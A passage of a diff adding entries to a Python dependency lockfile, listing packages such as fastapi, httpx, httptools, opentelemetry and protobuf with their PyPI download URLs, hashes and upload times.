"0.135.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-doc" }, + { name = "pydantic" }, + { name = "starlette" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c4/73/5903c4b13beae98618d64eb9870c3fac4f605523dd0312ca5c80dadbd5b9/fastapi-0.135.2.tar.gz", hash = "sha256:88a832095359755527b7f63bb4c6bc9edb8329a026189eed83d6c1afcf419d56", size = 395833, upload-time = "2026-03-23T14:12:41.697Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8f/ea/18f6d0457f9efb2fc6fa594857f92810cadb03024975726db6546b3d6fcf/fastapi-0.135.2-py3-none-any.whl", hash = "sha256:0af0447d541867e8db2a6a25c23a8c4bd80e2394ac5529bd87501bbb9e240ca5", size = 117407, upload-time = "2026-03-23T14:12:43.284Z" }, +] + +[[package]] +name = "googleapis-common-protos" +version = "1.73.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "protobuf" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a1/c0/4a54c386282c13449eca8bbe2ddb518181dc113e78d240458a68856b4d69/googleapis_common_protos-1.73.1.tar.gz", hash = "sha256:13114f0e9d2391756a0194c3a8131974ed7bffb06086569ba193364af59163b6", size = 147506, upload-time = "2026-03-26T22:17:38.451Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dc/82/fcb6520612bec0c39b973a6c0954b6a0d948aadfe8f7e9487f60ceb8bfa6/googleapis_common_protos-1.73.1-py3-none-any.whl", hash = "sha256:e51f09eb0a43a8602f5a915870972e6b4a394088415c79d79605a46d8e826ee8", size = 297556, upload-time = "2026-03-26T22:15:58.455Z" }, +] + +[[package]] +name = "h11" +version = "0.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, +] + +[[package]] +name = "httpcore" +version = "1.0.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" }, +] + +[[package]] +name = "httptools" +version = "0.7.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b5/46/120a669232c7bdedb9d52d4aeae7e6c7dfe151e99dc70802e2fc7a5e1993/httptools-0.7.1.tar.gz", hash = "sha256:abd72556974f8e7c74a259655924a717a2365b236c882c3f6f8a45fe94703ac9", size = 258961, upload-time = "2025-10-10T03:55:08.559Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9c/08/17e07e8d89ab8f343c134616d72eebfe03798835058e2ab579dcc8353c06/httptools-0.7.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:474d3b7ab469fefcca3697a10d11a32ee2b9573250206ba1e50d5980910da657", size = 206521, upload-time = "2025-10-10T03:54:31.002Z" }, + { url = "https://files.pythonhosted.org/packages/aa/06/c9c1b41ff52f16aee526fd10fbda99fa4787938aa776858ddc4a1ea825ec/httptools-0.7.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a3c3b7366bb6c7b96bd72d0dbe7f7d5eead261361f013be5f6d9590465ea1c70", size = 110375, upload-time = "2025-10-10T03:54:31.941Z" }, + { url = "https://files.pythonhosted.org/packages/cc/cc/10935db22fda0ee34c76f047590ca0a8bd9de531406a3ccb10a90e12ea21/httptools-0.7.1-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:379b479408b8747f47f3b253326183d7c009a3936518cdb70db58cffd369d9df", size = 456621, upload-time = "2025-10-10T03:54:33.176Z" }, + { url = "https://files.pythonhosted.org/packages/0e/84/875382b10d271b0c11aa5d414b44f92f8dd53e9b658aec338a79164fa548/httptools-0.7.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cad6b591a682dcc6cf1397c3900527f9affef1e55a06c4547264796bbd17cf5e", size = 454954, upload-time = "2025-10-10T03:54:34.226Z" }, + { url = "https://files.pythonhosted.org/packages/30/e1/44f89b280f7e46c0b1b2ccee5737d46b3bb13136383958f20b580a821ca0/httptools-0.7.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:eb844698d11433d2139bbeeb56499102143beb582bd6c194e3ba69c22f25c274", size = 440175, upload-time = "2025-10-10T03:54:35.942Z" }, + { url = "https://files.pythonhosted.org/packages/6f/7e/b9287763159e700e335028bc1824359dc736fa9b829dacedace91a39b37e/httptools-0.7.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f65744d7a8bdb4bda5e1fa23e4ba16832860606fcc09d674d56e425e991539ec", size = 440310, upload-time = "2025-10-10T03:54:37.1Z" }, + { url = "https://files.pythonhosted.org/packages/b3/07/5b614f592868e07f5c94b1f301b5e14a21df4e8076215a3bccb830a687d8/httptools-0.7.1-cp311-cp311-win_amd64.whl", hash = "sha256:135fbe974b3718eada677229312e97f3b31f8a9c8ffa3ae6f565bf808d5b6bcb", size = 86875, upload-time = "2025-10-10T03:54:38.421Z" }, + { url = "https://files.pythonhosted.org/packages/53/7f/403e5d787dc4942316e515e949b0c8a013d84078a915910e9f391ba9b3ed/httptools-0.7.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:38e0c83a2ea9746ebbd643bdfb521b9aa4a91703e2cd705c20443405d2fd16a5", size = 206280, upload-time = "2025-10-10T03:54:39.274Z" }, + { url = "https://files.pythonhosted.org/packages/2a/0d/7f3fd28e2ce311ccc998c388dd1c53b18120fda3b70ebb022b135dc9839b/httptools-0.7.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f25bbaf1235e27704f1a7b86cd3304eabc04f569c828101d94a0e605ef7205a5", size = 110004, upload-time = "2025-10-10T03:54:40.403Z" }, + { url = "https://files.pythonhosted.org/packages/84/a6/b3965e1e146ef5762870bbe76117876ceba51a201e18cc31f5703e454596/httptools-0.7.1-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2c15f37ef679ab9ecc06bfc4e6e8628c32a8e4b305459de7cf6785acd57e4d03", size = 517655, upload-time = "2025-10-10T03:54:41.347Z" }, + { url = "https://files.pythonhosted.org/packages/11/7d/71fee6f1844e6fa378f2eddde6c3e41ce3a1fb4b2d81118dd544e3441ec0/httptools-0.7.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7fe6e96090df46b36ccfaf746f03034e5ab723162bc51b0a4cf58305324036f2", size = 511440, upload-time = "2025-10-10T03:54:42.452Z" }, + { url = "https://files.pythonhosted.org/packages/22/a5/079d216712a4f3ffa24af4a0381b108aa9c45b7a5cc6eb141f81726b1823/httptools-0.7.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:f72fdbae2dbc6e68b8239defb48e6a5937b12218e6ffc2c7846cc37befa84362", size = 495186, upload-time = "2025-10-10T03:54:43.937Z" }, + { url = "https://files.pythonhosted.org/packages/e9/9e/025ad7b65278745dee3bd0ebf9314934c4592560878308a6121f7f812084/httptools-0.7.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e99c7b90a29fd82fea9ef57943d501a16f3404d7b9ee81799d41639bdaae412c", size = 499192, upload-time = "2025-10-10T03:54:45.003Z" }, + { url = "https://files.pythonhosted.org/packages/6d/de/40a8f202b987d43afc4d54689600ff03ce65680ede2f31df348d7f368b8f/httptools-0.7.1-cp312-cp312-win_amd64.whl", hash = "sha256:3e14f530fefa7499334a79b0cf7e7cd2992870eb893526fb097d51b4f2d0f321", size = 86694, upload-time = "2025-10-10T03:54:45.923Z" }, + { url = "https://files.pythonhosted.org/packages/09/8f/c77b1fcbfd262d422f12da02feb0d218fa228d52485b77b953832105bb90/httptools-0.7.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:6babce6cfa2a99545c60bfef8bee0cc0545413cb0018f617c8059a30ad985de3", size = 202889, upload-time = "2025-10-10T03:54:47.089Z" }, + { url = "https://files.pythonhosted.org/packages/0a/1a/22887f53602feaa066354867bc49a68fc295c2293433177ee90870a7d517/httptools-0.7.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:601b7628de7504077dd3dcb3791c6b8694bbd967148a6d1f01806509254fb1ca", size = 108180, upload-time = "2025-10-10T03:54:48.052Z" }, + { url = "https://files.pythonhosted.org/packages/32/6a/6aaa91937f0010d288d3d124ca2946d48d60c3a5ee7ca62afe870e3ea011/httptools-0.7.1-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:04c6c0e6c5fb0739c5b8a9eb046d298650a0ff38cf42537fc372b28dc7e4472c", size = 478596, upload-time = "2025-10-10T03:54:48.919Z" }, + { url = "https://files.pythonhosted.org/packages/6d/70/023d7ce117993107be88d2cbca566a7c1323ccbaf0af7eabf2064fe356f6/httptools-0.7.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:69d4f9705c405ae3ee83d6a12283dc9feba8cc6aaec671b412917e644ab4fa66", size = 473268, upload-time = "2025-10-10T03:54:49.993Z" }, + { url = "https://files.pythonhosted.org/packages/32/4d/9dd616c38da088e3f436e9a616e1d0cc66544b8cdac405cc4e81c8679fc7/httptools-0.7.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:44c8f4347d4b31269c8a9205d8a5ee2df5322b09bbbd30f8f862185bb6b05346", size = 455517, upload-time = "2025-10-10T03:54:51.066Z" }, + { url = "https://files.pythonhosted.org/packages/1d/3a/a6c595c310b7df958e739aae88724e24f9246a514d909547778d776799be/httptools-0.7.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:465275d76db4d554918aba40bf1cbebe324670f3dfc979eaffaa5d108e2ed650", size = 458337, upload-time = "2025-10-10T03:54:52.196Z" }, + { url = "https://files.pythonhosted.org/packages/fd/82/88e8d6d2c51edc1cc391b6e044c6c435b6aebe97b1abc33db1b0b24cd582/httptools-0.7.1-cp313-cp313-win_amd64.whl", hash = "sha256:322d00c2068d125bd570f7bf78b2d367dad02b919d8581d7476d8b75b294e3e6", size = 85743, upload-time = "2025-10-10T03:54:53.448Z" }, + { url = "https://files.pythonhosted.org/packages/34/50/9d095fcbb6de2d523e027a2f304d4551855c2f46e0b82befd718b8b20056/httptools-0.7.1-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:c08fe65728b8d70b6923ce31e3956f859d5e1e8548e6f22ec520a962c6757270", size = 203619, upload-time = "2025-10-10T03:54:54.321Z" }, + { url = "https://files.pythonhosted.org/packages/07/f0/89720dc5139ae54b03f861b5e2c55a37dba9a5da7d51e1e824a1f343627f/httptools-0.7.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:7aea2e3c3953521c3c51106ee11487a910d45586e351202474d45472db7d72d3", size = 108714, upload-time = "2025-10-10T03:54:55.163Z" }, + { url = "https://files.pythonhosted.org/packages/b3/cb/eea88506f191fb552c11787c23f9a405f4c7b0c5799bf73f2249cd4f5228/httptools-0.7.1-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0e68b8582f4ea9166be62926077a3334064d422cf08ab87d8b74664f8e9058e1", size = 472909, upload-time = "2025-10-10T03:54:56.056Z" }, + { url = "https://files.pythonhosted.org/packages/e0/4a/a548bdfae6369c0d078bab5769f7b66f17f1bfaa6fa28f81d6be6959066b/httptools-0.7.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:df091cf961a3be783d6aebae963cc9b71e00d57fa6f149025075217bc6a55a7b", size = 470831, upload-time = "2025-10-10T03:54:57.219Z" }, + { url = "https://files.pythonhosted.org/packages/4d/31/14df99e1c43bd132eec921c2e7e11cda7852f65619bc0fc5bdc2d0cb126c/httptools-0.7.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:f084813239e1eb403ddacd06a30de3d3e09a9b76e7894dcda2b22f8a726e9c60", size = 452631, upload-time = "2025-10-10T03:54:58.219Z" }, + { url = "https://files.pythonhosted.org/packages/22/d2/b7e131f7be8d854d48cb6d048113c30f9a46dca0c9a8b08fcb3fcd588cdc/httptools-0.7.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7347714368fb2b335e9063bc2b96f2f87a9ceffcd9758ac295f8bbcd3ffbc0ca", size = 452910, upload-time = "2025-10-10T03:54:59.366Z" }, + { url = "https://files.pythonhosted.org/packages/53/cf/878f3b91e4e6e011eff6d1fa9ca39f7eb17d19c9d7971b04873734112f30/httptools-0.7.1-cp314-cp314-win_amd64.whl", hash = "sha256:cfabda2a5bb85aa2a904ce06d974a3f30fb36cc63d7feaddec05d2050acede96", size = 88205, upload-time = "2025-10-10T03:55:00.389Z" }, +] + +[[package]] +name = "httpx" +version = "0.28.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "certifi" }, + { name = "httpcore" }, + { name = "idna" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" }, +] + +[[package]] +name = "hypothesis" +version = "6.151.10" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "sortedcontainers" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f5/dd/633e2cd62377333b7681628aee2ec1d88166f5bdf916b08c98b1e8288ad3/hypothesis-6.151.10.tar.gz", hash = "sha256:6c9565af8b4aa3a080b508f66ce9c2a77dd613c7e9073e27fc7e4ef9f45f8a27", size = 463762, upload-time = "2026-03-29T01:06:22.19Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/40/da/439bb2e451979f5e88c13bbebc3e9e17754429cfb528c93677b2bd81783b/hypothesis-6.151.10-py3-none-any.whl", hash = "sha256:b0d7728f0c8c2be009f89fcdd6066f70c5439aa0f94adbb06e98261d05f49b05", size = 529493, upload-time = "2026-03-29T01:06:19.161Z" }, +] + +[[package]] +name = "idna" +version = "3.11" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6f/6d/0703ccc57f3a7233505399edb88de3cbd678da106337b9fcde432b65ed60/idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902", size = 194582, upload-time = "2025-10-12T14:55:20.501Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0e/61/66938bbb5fc52dbdf84594873d5b51fb1f7c7794e9c0f5bd885f30bc507b/idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea", size = 71008, upload-time = "2025-10-12T14:55:18.883Z" }, +] + +[[package]] +name = "importlib-metadata" +version = "8.7.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "zipp" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f3/49/3b30cad09e7771a4982d9975a8cbf64f00d4a1ececb53297f1d9a7be1b10/importlib_metadata-8.7.1.tar.gz", hash = "sha256:49fef1ae6440c182052f407c8d34a68f72efc36db9ca90dc0113398f2fdde8bb", size = 57107, upload-time = "2025-12-21T10:00:19.278Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fa/5e/f8e9a1d23b9c20a551a8a02ea3637b4642e22c2626e3a13a9a29cdea99eb/importlib_metadata-8.7.1-py3-none-any.whl", hash = "sha256:5a1f80bf1daa489495071efbb095d75a634cf28a8bc299581244063b53176151", size = 27865, upload-time = "2025-12-21T10:00:18.329Z" }, +] + +[[package]] +name = "iniconfig" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" }, +] + +[[package]] +name = "jmespath" +version = "1.1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d3/59/322338183ecda247fb5d1763a6cbe46eff7222eaeebafd9fa65d4bf5cb11/jmespath-1.1.0.tar.gz", hash = "sha256:472c87d80f36026ae83c6ddd0f1d05d4e510134ed462851fd5f754c8c3cbb88d", size = 27377, upload-time = "2026-01-22T16:35:26.279Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/14/2f/967ba146e6d58cf6a652da73885f52fc68001525b4197effc174321d70b4/jmespath-1.1.0-py3-none-any.whl", hash = "sha256:a5663118de4908c91729bea0acadca56526eb2698e83de10cd116ae0f4e97c64", size = 20419, upload-time = "2026-01-22T16:35:24.919Z" }, +] + +[[package]] +name = "markdown-it-py" +version = "4.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mdurl" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5b/f5/4ec618ed16cc4f8fb3b701563655a69816155e79e24a17b651541804721d/markdown_it_py-4.0.0.tar.gz", hash = "sha256:cb0a2b4aa34f932c007117b194e945bd74e0ec24133ceb5bac59009cda1cb9f3", size = 73070, upload-time = "2025-08-11T12:57:52.854Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/94/54/e7d793b573f298e1c9013b8c4dade17d481164aa517d1d7148619c2cedbf/markdown_it_py-4.0.0-py3-none-any.whl", hash = "sha256:87327c59b172c5011896038353a81343b6754500a08cd7a4973bb48c6d578147", size = 87321, upload-time = "2025-08-11T12:57:51.923Z" }, +] + +[[package]] +name = "mdurl" +version = "0.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, upload-time = "2022-08-14T12:40:10.846Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" }, +] + +[[package]] +name = "opentelemetry-api" +version = "1.40.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "importlib-metadata" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/2c/1d/4049a9e8698361cc1a1aa03a6c59e4fa4c71e0c0f94a30f988a6876a2ae6/opentelemetry_api-1.40.0.tar.gz", hash = "sha256:159be641c0b04d11e9ecd576906462773eb97ae1b657730f0ecf64d32071569f", size = 70851, upload-time = "2026-03-04T14:17:21.555Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5f/bf/93795954016c522008da367da292adceed71cca6ee1717e1d64c83089099/opentelemetry_api-1.40.0-py3-none-any.whl", hash = "sha256:82dd69331ae74b06f6a874704be0cfaa49a1650e1537d4a813b86ecef7d0ecf9", size = 68676, upload-time = "2026-03-04T14:17:01.24Z" }, +] + +[[package]] +name = "opentelemetry-exporter-otlp-proto-common" +version = "1.40.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-proto" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/51/bc/1559d46557fe6eca0b46c88d4c2676285f1f3be2e8d06bb5d15fbffc814a/opentelemetry_exporter_otlp_proto_common-1.40.0.tar.gz", hash = "sha256:1cbee86a4064790b362a86601ee7934f368b81cd4cc2f2e163902a6e7818a0fa", size = 20416, upload-time = "2026-03-04T14:17:23.801Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8b/ca/8f122055c97a932311a3f640273f084e738008933503d0c2563cd5d591fc/opentelemetry_exporter_otlp_proto_common-1.40.0-py3-none-any.whl", hash = "sha256:7081ff453835a82417bf38dccf122c827c3cbc94f2079b03bba02a3165f25149", size = 18369, upload-time = "2026-03-04T14:17:04.796Z" }, +] + +[[package]] +name = "opentelemetry-exporter-otlp-proto-http" +version = "1.40.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "googleapis-common-protos" }, + { name = "opentelemetry-api" }, + { name = "opentelemetry-exporter-otlp-proto-common" }, + { name = "opentelemetry-proto" }, + { name = "opentelemetry-sdk" }, + { name = "requests" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/2e/fa/73d50e2c15c56be4d000c98e24221d494674b0cc95524e2a8cb3856d95a4/opentelemetry_exporter_otlp_proto_http-1.40.0.tar.gz", hash = "sha256:db48f5e0f33217588bbc00274a31517ba830da576e59503507c839b38fa0869c", size = 17772, upload-time = "2026-03-04T14:17:25.324Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a0/3a/8865d6754e61c9fb170cdd530a124a53769ee5f740236064816eb0ca7301/opentelemetry_exporter_otlp_proto_http-1.40.0-py3-none-any.whl", hash = "sha256:a8d1dab28f504c5d96577d6509f80a8150e44e8f45f82cdbe0e34c99ab040069", size = 19960, upload-time = "2026-03-04T14:17:07.153Z" }, +] + +[[package]] +name = "opentelemetry-proto" +version = "1.40.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "protobuf" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/4c/77/dd38991db037fdfce45849491cb61de5ab000f49824a00230afb112a4392/opentelemetry_proto-1.40.0.tar.gz", hash = "sha256:03f639ca129ba513f5819810f5b1f42bcb371391405d99c168fe6937c62febcd", size = 45667, upload-time = "2026-03-04T14:17:31.194Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b9/b2/189b2577dde745b15625b3214302605b1353436219d42b7912e77fa8dc24/opentelemetry_proto-1.40.0-py3-none-any.whl", hash = "sha256:266c4385d88923a23d63e353e9761af0f47a6ed0d486979777fe4de59dc9b25f", size = 72073, upload-time = "2026-03-04T14:17:16.673Z" }, +] + +[[package]] +name = "opentelemetry-sdk" +version = "1.40.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-api" }, + { name = "opentelemetry-semantic-conventions" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/58/fd/3c3125b20ba18ce2155ba9ea74acb0ae5d25f8cd39cfd37455601b7955cc/opentelemetry_sdk-1.40.0.tar.gz", hash = "sha256:18e9f5ec20d859d268c7cb3c5198c8d105d073714db3de50b593b8c1345a48f2", size = 184252, upload-time = "2026-03-04T14:17:31.87Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2c/c5/6a852903d8bfac758c6dc6e9a68b015d3c33f2f1be5e9591e0f4b69c7e0a/opentelemetry_sdk-1.40.0-py3-none-any.whl", hash = "sha256:787d2154a71f4b3d81f20524a8ce061b7db667d24e46753f32a7bc48f1c1f3f1", size = 141951, upload-time = "2026-03-04T14:17:17.961Z" }, +] + +[[package]] +name = "opentelemetry-semantic-conventions" +version = "0.61b0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-api" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/6d/c0/4ae7973f3c2cfd2b6e321f1675626f0dab0a97027cc7a297474c9c8f3d04/opentelemetry_semantic_conventions-0.61b0.tar.gz", hash = "sha256:072f65473c5d7c6dc0355b27d6c9d1a679d63b6d4b4b16a9773062cb7e31192a", size = 145755, upload-time = "2026-03-04T14:17:32.664Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b2/37/cc6a55e448deaa9b27377d087da8615a3416d8ad523d5960b78dbeadd02a/opentelemetry_semantic_conventions-0.61b0-py3-none-any.whl", hash = "sha256:fa530a96be229795f8cef353739b618148b0fe2b4b3f005e60e262926c4d38e2", size = 231621, upload-time = "2026-03-04T14:17:19.33Z" }, +] + +[[package]] +name = "packaging" +version = "26.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/65/ee/299d360cdc32edc7d2cf530f3accf79c4fca01e96ffc950d8a52213bd8e4/packaging-26.0.tar.gz", hash = "sha256:00243ae351a257117b6a241061796684b084ed1c516a08c48a3f7e147a9d80b4", size = 143416, upload-time = "2026-01-21T20:50:39.064Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/b9/c538f279a4e237a006a2c98387d081e9eb060d203d8ed34467cc0f0b9b53/packaging-26.0-py3-none-any.whl", hash = "sha256:b36f1fef9334a5588b4166f8bcd26a14e521f2b55e6b9de3aaa80d3ff7a37529", size = 74366, upload-time = "2026-01-21T20:50:37.788Z" }, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" }, +] + +[[package]] +name = "protobuf" +version = "6.33.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/66/70/e908e9c5e52ef7c3a6c7902c9dfbb34c7e29c25d2f81ade3856445fd5c94/protobuf-6.33.6.tar.gz", hash = "sha256:a6768d25248312c297558af96a9f9c929e8c4cee0659cb07e780731095f38135", size = 444531, upload-time = "2026-03-18T19:05:00.988Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fc/9f/2f509339e89cfa6f6a4c4ff50438db9ca488dec341f7e454adad60150b00/protobuf-6.33.6-cp310-abi3-win32.whl", hash = "sha256:7d29d9b65f8afef196f8334e80d6bc1d5d4adedb449971fefd3723824e6e77d3", size = 425739, upload-time = "2026-03-18T19:04:48.373Z" }, + { url = "https://files.pythonhosted.org/packages/76/5d/683efcd4798e0030c1bab27374fd13a89f7c2515fb1f3123efdfaa5eab57/protobuf-6.33.6-cp310-abi3-win_amd64.whl", hash = "sha256:0cd27b587afca21b7cfa59a74dcbd48a50f0a6400cfb59391340ad729d91d326", size = 437089, upload-time = "2026-03-18T19:04:50.381Z" }, + { url = "https://files.pythonhosted.org/packages/5c/01/a3c3ed5cd186f39e7880f8303cc51385a198a81469d53d0fdecf1f64d929/protobuf-6.33.6-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:9720e6961b251bde64edfdab7d500725a2af5280f3f4c87e57c0208376aa8c3a", size = 427737, upload-time = "2026-03-18T19:04:51.866Z" }, + { url = "https://files.pythonhosted.org/packages/ee/90/b3c01fdec7d2f627b3a6884243ba328c1217ed2d978def5c12dc50d328a3/protobuf-6.33.6-cp39-abi3-manylinux2014_aarch64.whl", hash = "sha256:e2afbae9b8e1825e3529f88d514754e094278bb95eadc0e199751cdd9a2e82a2", size = 324610, upload-time = "2026-03-18T19:04:53.096Z" }, + { url = 